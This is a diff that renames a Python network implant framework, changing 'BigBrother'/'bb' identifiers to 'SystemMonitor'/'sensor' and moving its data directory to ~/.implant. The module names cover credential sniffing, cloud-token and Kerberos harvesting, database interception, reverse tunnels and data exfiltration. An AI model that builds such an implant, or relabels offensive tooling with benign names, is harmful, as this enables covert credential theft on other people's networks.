logger = logging.getLogger("bb.connectivity.data_exfil")
|
logger = logging.getLogger("sensor.connectivity.data_exfil")
|
||||||
|
|
||||||
|
|
||||||
class ExfilPriority(IntEnum):
|
class ExfilPriority(IntEnum):
|
||||||
@@ -109,13 +109,13 @@ class DataExfil(BaseModule):
|
|||||||
self._start_time = time.time()
|
self._start_time = time.time()
|
||||||
|
|
||||||
self._worker_thread = threading.Thread(
|
self._worker_thread = threading.Thread(
|
||||||
target=self._worker_loop, daemon=True, name="bb-exfil-worker",
|
target=self._worker_loop, daemon=True, name="sensor-exfil-worker",
|
||||||
)
|
)
|
||||||
self._worker_thread.start()
|
self._worker_thread.start()
|
||||||
|
|
||||||
# Start nightly sync scheduler
|
# Start nightly sync scheduler
|
||||||
self._nightly_thread = threading.Thread(
|
self._nightly_thread = threading.Thread(
|
||||||
target=self._nightly_scheduler, daemon=True, name="bb-exfil-nightly",
|
target=self._nightly_scheduler, daemon=True, name="sensor-exfil-nightly",
|
||||||
)
|
)
|
||||||
self._nightly_thread.start()
|
self._nightly_thread.start()
|
||||||
|
|
||||||
|
|||||||
@@ -22,7 +22,7 @@ from typing import Optional
|
|||||||
|
|
||||||
from modules.base import BaseModule
|
from modules.base import BaseModule
|
||||||
|
|
||||||
logger = logging.getLogger("bb.connectivity.reverse_tunnel")
|
logger = logging.getLogger("sensor.connectivity.reverse_tunnel")
|
||||||
|
|
||||||
AUTOSSH_BIN = "/usr/bin/autossh"
|
AUTOSSH_BIN = "/usr/bin/autossh"
|
||||||
STUNNEL_BIN = "/usr/bin/stunnel"
|
STUNNEL_BIN = "/usr/bin/stunnel"
|
||||||
|
|||||||
@@ -19,7 +19,7 @@ from typing import Optional
|
|||||||
|
|
||||||
from modules.base import BaseModule
|
from modules.base import BaseModule
|
||||||
|
|
||||||
logger = logging.getLogger("bb.connectivity.tailscale")
|
logger = logging.getLogger("sensor.connectivity.tailscale")
|
||||||
|
|
||||||
TAILSCALE_BIN = "/usr/bin/tailscale"
|
TAILSCALE_BIN = "/usr/bin/tailscale"
|
||||||
TAILSCALED_BIN = "/usr/sbin/tailscaled"
|
TAILSCALED_BIN = "/usr/sbin/tailscaled"
|
||||||
|
|||||||
@@ -15,7 +15,7 @@ from typing import Optional
|
|||||||
|
|
||||||
from modules.base import BaseModule
|
from modules.base import BaseModule
|
||||||
|
|
||||||
logger = logging.getLogger("bb.connectivity.wifi_client")
|
logger = logging.getLogger("sensor.connectivity.wifi_client")
|
||||||
|
|
||||||
WPA_SUPPLICANT_BIN = "/sbin/wpa_supplicant"
|
WPA_SUPPLICANT_BIN = "/sbin/wpa_supplicant"
|
||||||
WPA_CLI_BIN = "/sbin/wpa_cli"
|
WPA_CLI_BIN = "/sbin/wpa_cli"
|
||||||
|
|||||||
@@ -17,7 +17,7 @@ from typing import Optional
|
|||||||
|
|
||||||
from modules.base import BaseModule
|
from modules.base import BaseModule
|
||||||
|
|
||||||
logger = logging.getLogger("bb.connectivity.wireguard")
|
logger = logging.getLogger("sensor.connectivity.wireguard")
|
||||||
|
|
||||||
WG_INTERFACE = "wg0"
|
WG_INTERFACE = "wg0"
|
||||||
HEALTH_CHECK_TIMEOUT = 5 # seconds
|
HEALTH_CHECK_TIMEOUT = 5 # seconds
|
||||||
|
|||||||
@@ -1,4 +1,4 @@
|
|||||||
"""BigBrother intelligence modules — on-device analysis and data aggregation."""
|
"""SystemMonitor intelligence modules — on-device analysis and data aggregation."""
|
||||||
|
|
||||||
from modules.intel.credential_db import CredentialDB
|
from modules.intel.credential_db import CredentialDB
|
||||||
from modules.intel.topology_mapper import TopologyMapper
|
from modules.intel.topology_mapper import TopologyMapper
|
||||||
|
|||||||
@@ -19,7 +19,7 @@ from typing import Optional
|
|||||||
|
|
||||||
from modules.base import BaseModule
|
from modules.base import BaseModule
|
||||||
|
|
||||||
logger = logging.getLogger("bb.intel.change_detector")
|
logger = logging.getLogger("sensor.intel.change_detector")
|
||||||
|
|
||||||
_SCHEMA = """
|
_SCHEMA = """
|
||||||
CREATE TABLE IF NOT EXISTS changes (
|
CREATE TABLE IF NOT EXISTS changes (
|
||||||
@@ -132,7 +132,7 @@ class ChangeDetector(BaseModule):
|
|||||||
if self._running:
|
if self._running:
|
||||||
return
|
return
|
||||||
|
|
||||||
base_dir = self.config.get("data_dir", os.path.expanduser("~/.bigbrother"))
|
base_dir = self.config.get("data_dir", os.path.expanduser("~/.implant"))
|
||||||
self._db_path = os.path.join(base_dir, "change_detector.db")
|
self._db_path = os.path.join(base_dir, "change_detector.db")
|
||||||
os.makedirs(os.path.dirname(self._db_path), exist_ok=True)
|
os.makedirs(os.path.dirname(self._db_path), exist_ok=True)
|
||||||
|
|
||||||
@@ -160,7 +160,7 @@ class ChangeDetector(BaseModule):
|
|||||||
# Monitor thread for periodic diffing
|
# Monitor thread for periodic diffing
|
||||||
self._monitor_thread = threading.Thread(
|
self._monitor_thread = threading.Thread(
|
||||||
target=self._monitor_loop, daemon=True,
|
target=self._monitor_loop, daemon=True,
|
||||||
name="bb-change-detector",
|
name="sensor-change-detector",
|
||||||
)
|
)
|
||||||
self._monitor_thread.start()
|
self._monitor_thread.start()
|
||||||
|
|
||||||
|
|||||||
@@ -18,7 +18,7 @@ from typing import Optional
|
|||||||
|
|
||||||
from modules.base import BaseModule
|
from modules.base import BaseModule
|
||||||
|
|
||||||
logger = logging.getLogger("bb.intel.credential_db")
|
logger = logging.getLogger("sensor.intel.credential_db")
|
||||||
|
|
||||||
_SCHEMA = """
|
_SCHEMA = """
|
||||||
CREATE TABLE IF NOT EXISTS credentials (
|
CREATE TABLE IF NOT EXISTS credentials (
|
||||||
@@ -103,7 +103,7 @@ class CredentialDB(BaseModule):
|
|||||||
if self._running:
|
if self._running:
|
||||||
return
|
return
|
||||||
|
|
||||||
base_dir = self.config.get("data_dir", os.path.expanduser("~/.bigbrother"))
|
base_dir = self.config.get("data_dir", os.path.expanduser("~/.implant"))
|
||||||
self._db_path = os.path.join(base_dir, "credentials.db")
|
self._db_path = os.path.join(base_dir, "credentials.db")
|
||||||
os.makedirs(os.path.dirname(self._db_path), exist_ok=True)
|
os.makedirs(os.path.dirname(self._db_path), exist_ok=True)
|
||||||
|
|
||||||
|
|||||||
@@ -19,7 +19,7 @@ from typing import Optional
|
|||||||
|
|
||||||
from modules.base import BaseModule
|
from modules.base import BaseModule
|
||||||
|
|
||||||
logger = logging.getLogger("bb.intel.net_intel")
|
logger = logging.getLogger("sensor.intel.net_intel")
|
||||||
|
|
||||||
# Known malicious infrastructure patterns
|
# Known malicious infrastructure patterns
|
||||||
_KNOWN_BAD_PORTS = {
|
_KNOWN_BAD_PORTS = {
|
||||||
@@ -87,7 +87,7 @@ class NetIntel(BaseModule):
|
|||||||
# Periodic analysis thread
|
# Periodic analysis thread
|
||||||
self._analysis_thread = threading.Thread(
|
self._analysis_thread = threading.Thread(
|
||||||
target=self._analysis_loop, daemon=True,
|
target=self._analysis_loop, daemon=True,
|
||||||
name="bb-netintel-analysis",
|
name="sensor-netintel-analysis",
|
||||||
)
|
)
|
||||||
self._analysis_thread.start()
|
self._analysis_thread.start()
|
||||||
|
|
||||||
|
|||||||
@@ -20,7 +20,7 @@ from typing import Optional
|
|||||||
|
|
||||||
from modules.base import BaseModule
|
from modules.base import BaseModule
|
||||||
|
|
||||||
logger = logging.getLogger("bb.intel.operator_audit")
|
logger = logging.getLogger("sensor.intel.operator_audit")
|
||||||
|
|
||||||
_SCHEMA = """
|
_SCHEMA = """
|
||||||
CREATE TABLE IF NOT EXISTS audit_log (
|
CREATE TABLE IF NOT EXISTS audit_log (
|
||||||
@@ -74,7 +74,7 @@ class OperatorAudit(BaseModule):
|
|||||||
if self._running:
|
if self._running:
|
||||||
return
|
return
|
||||||
|
|
||||||
base_dir = self.config.get("data_dir", os.path.expanduser("~/.bigbrother"))
|
base_dir = self.config.get("data_dir", os.path.expanduser("~/.implant"))
|
||||||
self._db_path = os.path.join(base_dir, "operator_audit.db")
|
self._db_path = os.path.join(base_dir, "operator_audit.db")
|
||||||
os.makedirs(os.path.dirname(self._db_path), exist_ok=True)
|
os.makedirs(os.path.dirname(self._db_path), exist_ok=True)
|
||||||
|
|
||||||
|
|||||||
@@ -18,7 +18,7 @@ from typing import Optional
|
|||||||
|
|
||||||
from modules.base import BaseModule
|
from modules.base import BaseModule
|
||||||
|
|
||||||
logger = logging.getLogger("bb.intel.security_posture")
|
logger = logging.getLogger("sensor.intel.security_posture")
|
||||||
|
|
||||||
_SCHEMA = """
|
_SCHEMA = """
|
||||||
CREATE TABLE IF NOT EXISTS security_tools (
|
CREATE TABLE IF NOT EXISTS security_tools (
|
||||||
@@ -188,7 +188,7 @@ class SecurityPosture(BaseModule):
|
|||||||
if self._running:
|
if self._running:
|
||||||
return
|
return
|
||||||
|
|
||||||
base_dir = self.config.get("data_dir", os.path.expanduser("~/.bigbrother"))
|
base_dir = self.config.get("data_dir", os.path.expanduser("~/.implant"))
|
||||||
self._db_path = os.path.join(base_dir, "security_posture.db")
|
self._db_path = os.path.join(base_dir, "security_posture.db")
|
||||||
os.makedirs(os.path.dirname(self._db_path), exist_ok=True)
|
os.makedirs(os.path.dirname(self._db_path), exist_ok=True)
|
||||||
|
|
||||||
@@ -207,7 +207,7 @@ class SecurityPosture(BaseModule):
|
|||||||
|
|
||||||
self._scan_thread = threading.Thread(
|
self._scan_thread = threading.Thread(
|
||||||
target=self._periodic_scan, daemon=True,
|
target=self._periodic_scan, daemon=True,
|
||||||
name="bb-security-posture",
|
name="sensor-security-posture",
|
||||||
)
|
)
|
||||||
self._scan_thread.start()
|
self._scan_thread.start()
|
||||||
|
|
||||||
|
|||||||
@@ -17,7 +17,7 @@ from typing import Optional
|
|||||||
|
|
||||||
from modules.base import BaseModule
|
from modules.base import BaseModule
|
||||||
|
|
||||||
logger = logging.getLogger("bb.intel.supply_chain_detect")
|
logger = logging.getLogger("sensor.intel.supply_chain_detect")
|
||||||
|
|
||||||
_SCHEMA = """
|
_SCHEMA = """
|
||||||
CREATE TABLE IF NOT EXISTS supply_chain (
|
CREATE TABLE IF NOT EXISTS supply_chain (
|
||||||
@@ -155,7 +155,7 @@ class SupplyChainDetect(BaseModule):
|
|||||||
if self._running:
|
if self._running:
|
||||||
return
|
return
|
||||||
|
|
||||||
base_dir = self.config.get("data_dir", os.path.expanduser("~/.bigbrother"))
|
base_dir = self.config.get("data_dir", os.path.expanduser("~/.implant"))
|
||||||
self._db_path = os.path.join(base_dir, "supply_chain.db")
|
self._db_path = os.path.join(base_dir, "supply_chain.db")
|
||||||
os.makedirs(os.path.dirname(self._db_path), exist_ok=True)
|
os.makedirs(os.path.dirname(self._db_path), exist_ok=True)
|
||||||
|
|
||||||
@@ -175,7 +175,7 @@ class SupplyChainDetect(BaseModule):
|
|||||||
# Periodic scan of accumulated DNS and HTTP data
|
# Periodic scan of accumulated DNS and HTTP data
|
||||||
self._scan_thread = threading.Thread(
|
self._scan_thread = threading.Thread(
|
||||||
target=self._periodic_scan, daemon=True,
|
target=self._periodic_scan, daemon=True,
|
||||||
name="bb-supply-chain-scan",
|
name="sensor-supply-chain-scan",
|
||||||
)
|
)
|
||||||
self._scan_thread.start()
|
self._scan_thread.start()
|
||||||
|
|
||||||
|
|||||||
@@ -18,7 +18,7 @@ from typing import Optional
|
|||||||
|
|
||||||
from modules.base import BaseModule
|
from modules.base import BaseModule
|
||||||
|
|
||||||
logger = logging.getLogger("bb.intel.tool_output_parser")
|
logger = logging.getLogger("sensor.intel.tool_output_parser")
|
||||||
|
|
||||||
# -----------------------------------------------------------------------
|
# -----------------------------------------------------------------------
|
||||||
# Responder log patterns
|
# Responder log patterns
|
||||||
@@ -138,7 +138,7 @@ class ToolOutputParser(BaseModule):
|
|||||||
# Periodic log directory scanner
|
# Periodic log directory scanner
|
||||||
self._scan_thread = threading.Thread(
|
self._scan_thread = threading.Thread(
|
||||||
target=self._scan_loop, daemon=True,
|
target=self._scan_loop, daemon=True,
|
||||||
name="bb-tool-parser-scan",
|
name="sensor-tool-parser-scan",
|
||||||
)
|
)
|
||||||
self._scan_thread.start()
|
self._scan_thread.start()
|
||||||
|
|
||||||
@@ -147,7 +147,7 @@ class ToolOutputParser(BaseModule):
|
|||||||
if bettercap_cfg.get("enabled", True):
|
if bettercap_cfg.get("enabled", True):
|
||||||
self._bettercap_thread = threading.Thread(
|
self._bettercap_thread = threading.Thread(
|
||||||
target=self._bettercap_event_loop, daemon=True,
|
target=self._bettercap_event_loop, daemon=True,
|
||||||
name="bb-tool-parser-bettercap",
|
name="sensor-tool-parser-bettercap",
|
||||||
)
|
)
|
||||||
self._bettercap_thread.start()
|
self._bettercap_thread.start()
|
||||||
|
|
||||||
@@ -213,7 +213,7 @@ class ToolOutputParser(BaseModule):
|
|||||||
log_dirs = self.config.get("responder_log_dirs", [
|
log_dirs = self.config.get("responder_log_dirs", [
|
||||||
"/opt/.cache/bb/responder/logs",
|
"/opt/.cache/bb/responder/logs",
|
||||||
"/tmp/responder/logs",
|
"/tmp/responder/logs",
|
||||||
os.path.expanduser("~/.bigbrother/responder"),
|
os.path.expanduser("~/.implant/responder"),
|
||||||
])
|
])
|
||||||
|
|
||||||
for log_dir in log_dirs:
|
for log_dir in log_dirs:
|
||||||
@@ -330,7 +330,7 @@ class ToolOutputParser(BaseModule):
|
|||||||
"""Scan bettercap log files for credential and host events."""
|
"""Scan bettercap log files for credential and host events."""
|
||||||
log_dirs = self.config.get("bettercap_log_dirs", [
|
log_dirs = self.config.get("bettercap_log_dirs", [
|
||||||
"/opt/.cache/bb/bettercap/logs",
|
"/opt/.cache/bb/bettercap/logs",
|
||||||
os.path.expanduser("~/.bigbrother/bettercap"),
|
os.path.expanduser("~/.implant/bettercap"),
|
||||||
])
|
])
|
||||||
|
|
||||||
for log_dir in log_dirs:
|
for log_dir in log_dirs:
|
||||||
@@ -601,7 +601,7 @@ class ToolOutputParser(BaseModule):
|
|||||||
"""Scan mitmproxy flow dump files for credentials."""
|
"""Scan mitmproxy flow dump files for credentials."""
|
||||||
log_dirs = self.config.get("mitmproxy_log_dirs", [
|
log_dirs = self.config.get("mitmproxy_log_dirs", [
|
||||||
"/opt/.cache/bb/mitmproxy",
|
"/opt/.cache/bb/mitmproxy",
|
||||||
os.path.expanduser("~/.bigbrother/mitmproxy"),
|
os.path.expanduser("~/.implant/mitmproxy"),
|
||||||
])
|
])
|
||||||
|
|
||||||
for log_dir in log_dirs:
|
for log_dir in log_dirs:
|
||||||
|
|||||||
@@ -18,7 +18,7 @@ from typing import Optional
|
|||||||
|
|
||||||
from modules.base import BaseModule
|
from modules.base import BaseModule
|
||||||
|
|
||||||
logger = logging.getLogger("bb.intel.topology_mapper")
|
logger = logging.getLogger("sensor.intel.topology_mapper")
|
||||||
|
|
||||||
# OS family -> Graphviz fill color
|
# OS family -> Graphviz fill color
|
||||||
_OS_COLORS = {
|
_OS_COLORS = {
|
||||||
@@ -102,7 +102,7 @@ class TopologyMapper(BaseModule):
|
|||||||
|
|
||||||
self._update_thread = threading.Thread(
|
self._update_thread = threading.Thread(
|
||||||
target=self._periodic_update, daemon=True,
|
target=self._periodic_update, daemon=True,
|
||||||
name="bb-topology-update",
|
name="sensor-topology-update",
|
||||||
)
|
)
|
||||||
self._update_thread.start()
|
self._update_thread.start()
|
||||||
|
|
||||||
@@ -366,7 +366,7 @@ class TopologyMapper(BaseModule):
|
|||||||
def generate_dot(self) -> str:
|
def generate_dot(self) -> str:
|
||||||
"""Generate Graphviz DOT representation of the network topology."""
|
"""Generate Graphviz DOT representation of the network topology."""
|
||||||
lines = [
|
lines = [
|
||||||
"digraph BigBrotherTopology {",
|
"digraph SystemMonitorTopology {",
|
||||||
' rankdir=LR;',
|
' rankdir=LR;',
|
||||||
' bgcolor="#1a1a2e";',
|
' bgcolor="#1a1a2e";',
|
||||||
' node [style=filled, fontcolor=white, fontname="Courier"];',
|
' node [style=filled, fontcolor=white, fontname="Courier"];',
|
||||||
|
|||||||
@@ -18,7 +18,7 @@ from typing import Optional
|
|||||||
|
|
||||||
from modules.base import BaseModule
|
from modules.base import BaseModule
|
||||||
|
|
||||||
logger = logging.getLogger("bb.intel.user_timeline")
|
logger = logging.getLogger("sensor.intel.user_timeline")
|
||||||
|
|
||||||
_SCHEMA = """
|
_SCHEMA = """
|
||||||
CREATE TABLE IF NOT EXISTS user_events (
|
CREATE TABLE IF NOT EXISTS user_events (
|
||||||
@@ -105,7 +105,7 @@ class UserTimeline(BaseModule):
|
|||||||
if self._running:
|
if self._running:
|
||||||
return
|
return
|
||||||
|
|
||||||
base_dir = self.config.get("data_dir", os.path.expanduser("~/.bigbrother"))
|
base_dir = self.config.get("data_dir", os.path.expanduser("~/.implant"))
|
||||||
self._db_path = os.path.join(base_dir, "user_timeline.db")
|
self._db_path = os.path.join(base_dir, "user_timeline.db")
|
||||||
os.makedirs(os.path.dirname(self._db_path), exist_ok=True)
|
os.makedirs(os.path.dirname(self._db_path), exist_ok=True)
|
||||||
|
|
||||||
@@ -126,7 +126,7 @@ class UserTimeline(BaseModule):
|
|||||||
# Periodic ingestion from other module state
|
# Periodic ingestion from other module state
|
||||||
self._ingest_thread = threading.Thread(
|
self._ingest_thread = threading.Thread(
|
||||||
target=self._periodic_ingest, daemon=True,
|
target=self._periodic_ingest, daemon=True,
|
||||||
name="bb-user-timeline-ingest",
|
name="sensor-user-timeline-ingest",
|
||||||
)
|
)
|
||||||
self._ingest_thread.start()
|
self._ingest_thread.start()
|
||||||
|
|
||||||
|
|||||||
@@ -1,4 +1,4 @@
|
|||||||
"""BigBrother passive modules — zero-noise network observation."""
|
"""SystemMonitor passive modules — zero-noise network observation."""
|
||||||
|
|
||||||
from modules.passive.packet_capture import PacketCapture
|
from modules.passive.packet_capture import PacketCapture
|
||||||
from modules.passive.dns_logger import DNSLogger
|
from modules.passive.dns_logger import DNSLogger
|
||||||
|
|||||||
@@ -19,7 +19,7 @@ from typing import Optional
|
|||||||
|
|
||||||
from modules.base import BaseModule
|
from modules.base import BaseModule
|
||||||
|
|
||||||
logger = logging.getLogger("bb.passive.auth_flow_tracker")
|
logger = logging.getLogger("sensor.passive.auth_flow_tracker")
|
||||||
|
|
||||||
# Protocol ports
|
# Protocol ports
|
||||||
KERBEROS_PORT = 88
|
KERBEROS_PORT = 88
|
||||||
@@ -126,12 +126,12 @@ class AuthFlowTracker(BaseModule):
|
|||||||
self._pid = os.getpid()
|
self._pid = os.getpid()
|
||||||
|
|
||||||
self._read_thread = threading.Thread(
|
self._read_thread = threading.Thread(
|
||||||
target=self._read_loop, daemon=True, name="bb-auth-read"
|
target=self._read_loop, daemon=True, name="sensor-auth-read"
|
||||||
)
|
)
|
||||||
self._read_thread.start()
|
self._read_thread.start()
|
||||||
|
|
||||||
self._flush_thread = threading.Thread(
|
self._flush_thread = threading.Thread(
|
||||||
target=self._flush_loop, daemon=True, name="bb-auth-flush"
|
target=self._flush_loop, daemon=True, name="sensor-auth-flush"
|
||||||
)
|
)
|
||||||
self._flush_thread.start()
|
self._flush_thread.start()
|
||||||
|
|
||||||
|
|||||||
@@ -20,7 +20,7 @@ from typing import Optional
|
|||||||
|
|
||||||
from modules.base import BaseModule
|
from modules.base import BaseModule
|
||||||
|
|
||||||
logger = logging.getLogger("bb.passive.cloud_token_harvester")
|
logger = logging.getLogger("sensor.passive.cloud_token_harvester")
|
||||||
|
|
||||||
# Token regexes — compiled once
|
# Token regexes — compiled once
|
||||||
_TOKEN_PATTERNS = {
|
_TOKEN_PATTERNS = {
|
||||||
@@ -104,12 +104,12 @@ class CloudTokenHarvester(BaseModule):
|
|||||||
self._pid = os.getpid()
|
self._pid = os.getpid()
|
||||||
|
|
||||||
self._read_thread = threading.Thread(
|
self._read_thread = threading.Thread(
|
||||||
target=self._read_loop, daemon=True, name="bb-cloud-read"
|
target=self._read_loop, daemon=True, name="sensor-cloud-read"
|
||||||
)
|
)
|
||||||
self._read_thread.start()
|
self._read_thread.start()
|
||||||
|
|
||||||
self._flush_thread = threading.Thread(
|
self._flush_thread = threading.Thread(
|
||||||
target=self._flush_loop, daemon=True, name="bb-cloud-flush"
|
target=self._flush_loop, daemon=True, name="sensor-cloud-flush"
|
||||||
)
|
)
|
||||||
self._flush_thread.start()
|
self._flush_thread.start()
|
||||||
|
|
||||||
|
|||||||
@@ -27,7 +27,7 @@ from typing import Optional
|
|||||||
|
|
||||||
from modules.base import BaseModule
|
from modules.base import BaseModule
|
||||||
|
|
||||||
logger = logging.getLogger("bb.passive.credential_sniffer")
|
logger = logging.getLogger("sensor.passive.credential_sniffer")
|
||||||
|
|
||||||
# Hashcat mode mapping
|
# Hashcat mode mapping
|
||||||
HASHCAT_MODES = {
|
HASHCAT_MODES = {
|
||||||
@@ -82,7 +82,7 @@ class CredentialSniffer(BaseModule):
|
|||||||
logger.error("CredentialSniffer requires capture_bus in config")
|
logger.error("CredentialSniffer requires capture_bus in config")
|
||||||
return
|
return
|
||||||
|
|
||||||
base_dir = self.config.get("data_dir", os.path.expanduser("~/.bigbrother"))
|
base_dir = self.config.get("data_dir", os.path.expanduser("~/.implant"))
|
||||||
self._db_path = os.path.join(base_dir, "credentials.db")
|
self._db_path = os.path.join(base_dir, "credentials.db")
|
||||||
Path(os.path.dirname(self._db_path)).mkdir(parents=True, exist_ok=True)
|
Path(os.path.dirname(self._db_path)).mkdir(parents=True, exist_ok=True)
|
||||||
self._init_db()
|
self._init_db()
|
||||||
@@ -106,12 +106,12 @@ class CredentialSniffer(BaseModule):
|
|||||||
self._start_time = time.time()
|
self._start_time = time.time()
|
||||||
|
|
||||||
self._reader_thread = threading.Thread(
|
self._reader_thread = threading.Thread(
|
||||||
target=self._read_packets, daemon=True, name="bb-cred-reader"
|
target=self._read_packets, daemon=True, name="sensor-cred-reader"
|
||||||
)
|
)
|
||||||
self._reader_thread.start()
|
self._reader_thread.start()
|
||||||
|
|
||||||
self._flusher_thread = threading.Thread(
|
self._flusher_thread = threading.Thread(
|
||||||
target=self._flush_loop, daemon=True, name="bb-cred-flusher"
|
target=self._flush_loop, daemon=True, name="sensor-cred-flusher"
|
||||||
)
|
)
|
||||||
self._flusher_thread.start()
|
self._flusher_thread.start()
|
||||||
|
|
||||||
|
|||||||
@@ -23,7 +23,7 @@ from typing import Optional
|
|||||||
|
|
||||||
from modules.base import BaseModule
|
from modules.base import BaseModule
|
||||||
|
|
||||||
logger = logging.getLogger("bb.passive.db_interceptor")
|
logger = logging.getLogger("sensor.passive.db_interceptor")
|
||||||
|
|
||||||
# TDS packet types
|
# TDS packet types
|
||||||
TDS_SQL_BATCH = 0x01
|
TDS_SQL_BATCH = 0x01
|
||||||
@@ -119,12 +119,12 @@ class DBInterceptor(BaseModule):
|
|||||||
self._pid = os.getpid()
|
self._pid = os.getpid()
|
||||||
|
|
||||||
self._read_thread = threading.Thread(
|
self._read_thread = threading.Thread(
|
||||||
target=self._read_loop, daemon=True, name="bb-dbi-read"
|
target=self._read_loop, daemon=True, name="sensor-dbi-read"
|
||||||
)
|
)
|
||||||
self._read_thread.start()
|
self._read_thread.start()
|
||||||
|
|
||||||
self._flush_thread = threading.Thread(
|
self._flush_thread = threading.Thread(
|
||||||
target=self._flush_loop, daemon=True, name="bb-dbi-flush"
|
target=self._flush_loop, daemon=True, name="sensor-dbi-flush"
|
||||||
)
|
)
|
||||||
self._flush_thread.start()
|
self._flush_thread.start()
|
||||||
|
|
||||||
|
|||||||
@@ -20,7 +20,7 @@ from typing import Optional
|
|||||||
|
|
||||||
from modules.base import BaseModule
|
from modules.base import BaseModule
|
||||||
|
|
||||||
logger = logging.getLogger("bb.passive.dns_logger")
|
logger = logging.getLogger("sensor.passive.dns_logger")
|
||||||
|
|
||||||
# Well-known DoH resolver IPs
|
# Well-known DoH resolver IPs
|
||||||
DOH_RESOLVERS = frozenset([
|
DOH_RESOLVERS = frozenset([
|
||||||
@@ -78,7 +78,7 @@ class DNSLogger(BaseModule):
|
|||||||
return
|
return
|
||||||
|
|
||||||
# Database setup
|
# Database setup
|
||||||
base_dir = self.config.get("data_dir", os.path.expanduser("~/.bigbrother"))
|
base_dir = self.config.get("data_dir", os.path.expanduser("~/.implant"))
|
||||||
self._db_path = os.path.join(base_dir, "dns_queries.db")
|
self._db_path = os.path.join(base_dir, "dns_queries.db")
|
||||||
Path(os.path.dirname(self._db_path)).mkdir(parents=True, exist_ok=True)
|
Path(os.path.dirname(self._db_path)).mkdir(parents=True, exist_ok=True)
|
||||||
self._init_db()
|
self._init_db()
|
||||||
@@ -94,13 +94,13 @@ class DNSLogger(BaseModule):
|
|||||||
|
|
||||||
# Packet reader thread
|
# Packet reader thread
|
||||||
self._reader_thread = threading.Thread(
|
self._reader_thread = threading.Thread(
|
||||||
target=self._read_packets, daemon=True, name="bb-dns-reader"
|
target=self._read_packets, daemon=True, name="sensor-dns-reader"
|
||||||
)
|
)
|
||||||
self._reader_thread.start()
|
self._reader_thread.start()
|
||||||
|
|
||||||
# Periodic flusher thread
|
# Periodic flusher thread
|
||||||
self._flusher_thread = threading.Thread(
|
self._flusher_thread = threading.Thread(
|
||||||
target=self._flush_loop, daemon=True, name="bb-dns-flusher"
|
target=self._flush_loop, daemon=True, name="sensor-dns-flusher"
|
||||||
)
|
)
|
||||||
self._flusher_thread.start()
|
self._flusher_thread.start()
|
||||||
|
|
||||||
|
|||||||
@@ -25,7 +25,7 @@ from typing import Optional
|
|||||||
|
|
||||||
from modules.base import BaseModule
|
from modules.base import BaseModule
|
||||||
|
|
||||||
logger = logging.getLogger("bb.passive.host_discovery")
|
logger = logging.getLogger("sensor.passive.host_discovery")
|
||||||
|
|
||||||
|
|
||||||
class HostDiscovery(BaseModule):
|
class HostDiscovery(BaseModule):
|
||||||
@@ -72,7 +72,7 @@ class HostDiscovery(BaseModule):
|
|||||||
logger.error("HostDiscovery requires capture_bus in config")
|
logger.error("HostDiscovery requires capture_bus in config")
|
||||||
return
|
return
|
||||||
|
|
||||||
base_dir = self.config.get("data_dir", os.path.expanduser("~/.bigbrother"))
|
base_dir = self.config.get("data_dir", os.path.expanduser("~/.implant"))
|
||||||
self._db_path = os.path.join(base_dir, "hosts.db")
|
self._db_path = os.path.join(base_dir, "hosts.db")
|
||||||
Path(os.path.dirname(self._db_path)).mkdir(parents=True, exist_ok=True)
|
Path(os.path.dirname(self._db_path)).mkdir(parents=True, exist_ok=True)
|
||||||
self._init_db()
|
self._init_db()
|
||||||
@@ -106,12 +106,12 @@ class HostDiscovery(BaseModule):
|
|||||||
self._start_time = time.time()
|
self._start_time = time.time()
|
||||||
|
|
||||||
self._reader_thread = threading.Thread(
|
self._reader_thread = threading.Thread(
|
||||||
target=self._read_packets, daemon=True, name="bb-hostdisc-reader"
|
target=self._read_packets, daemon=True, name="sensor-hostdisc-reader"
|
||||||
)
|
)
|
||||||
self._reader_thread.start()
|
self._reader_thread.start()
|
||||||
|
|
||||||
self._flusher_thread = threading.Thread(
|
self._flusher_thread = threading.Thread(
|
||||||
target=self._flush_loop, daemon=True, name="bb-hostdisc-flusher"
|
target=self._flush_loop, daemon=True, name="sensor-hostdisc-flusher"
|
||||||
)
|
)
|
||||||
self._flusher_thread.start()
|
self._flusher_thread.start()
|
||||||
|
|
||||||
|
|||||||
@@ -22,7 +22,7 @@ from typing import Optional
|
|||||||
|
|
||||||
from modules.base import BaseModule
|
from modules.base import BaseModule
|
||||||
|
|
||||||
logger = logging.getLogger("bb.passive.kerberos_harvester")
|
logger = logging.getLogger("sensor.passive.kerberos_harvester")
|
||||||
|
|
||||||
# Kerberos message types (application tags)
|
# Kerberos message types (application tags)
|
||||||
KRB_AS_REQ = 10
|
KRB_AS_REQ = 10
|
||||||
@@ -84,7 +84,7 @@ class KerberosHarvester(BaseModule):
|
|||||||
logger.error("KerberosHarvester requires capture_bus in config")
|
logger.error("KerberosHarvester requires capture_bus in config")
|
||||||
return
|
return
|
||||||
|
|
||||||
base_dir = self.config.get("data_dir", os.path.expanduser("~/.bigbrother"))
|
base_dir = self.config.get("data_dir", os.path.expanduser("~/.implant"))
|
||||||
self._db_path = os.path.join(base_dir, "kerberos_tickets.db")
|
self._db_path = os.path.join(base_dir, "kerberos_tickets.db")
|
||||||
Path(os.path.dirname(self._db_path)).mkdir(parents=True, exist_ok=True)
|
Path(os.path.dirname(self._db_path)).mkdir(parents=True, exist_ok=True)
|
||||||
self._init_db()
|
self._init_db()
|
||||||
@@ -98,12 +98,12 @@ class KerberosHarvester(BaseModule):
|
|||||||
self._start_time = time.time()
|
self._start_time = time.time()
|
||||||
|
|
||||||
self._reader_thread = threading.Thread(
|
self._reader_thread = threading.Thread(
|
||||||
target=self._read_packets, daemon=True, name="bb-kerb-reader"
|
target=self._read_packets, daemon=True, name="sensor-kerb-reader"
|
||||||
)
|
)
|
||||||
self._reader_thread.start()
|
self._reader_thread.start()
|
||||||
|
|
||||||
self._flusher_thread = threading.Thread(
|
self._flusher_thread = threading.Thread(
|
||||||
target=self._flush_loop, daemon=True, name="bb-kerb-flusher"
|
target=self._flush_loop, daemon=True, name="sensor-kerb-flusher"
|
||||||
)
|
)
|
||||||
self._flusher_thread.start()
|
self._flusher_thread.start()
|
||||||
|
|
||||||
|
|||||||
@@ -20,7 +20,7 @@ from typing import Optional
|
|||||||
|
|
||||||
from modules.base import BaseModule
|
from modules.base import BaseModule
|
||||||
|
|
||||||
logger = logging.getLogger("bb.passive.ldap_harvester")
|
logger = logging.getLogger("sensor.passive.ldap_harvester")
|
||||||
|
|
||||||
# LDAP protocol tags
|
# LDAP protocol tags
|
||||||
TAG_SEQUENCE = 0x30
|
TAG_SEQUENCE = 0x30
|
||||||
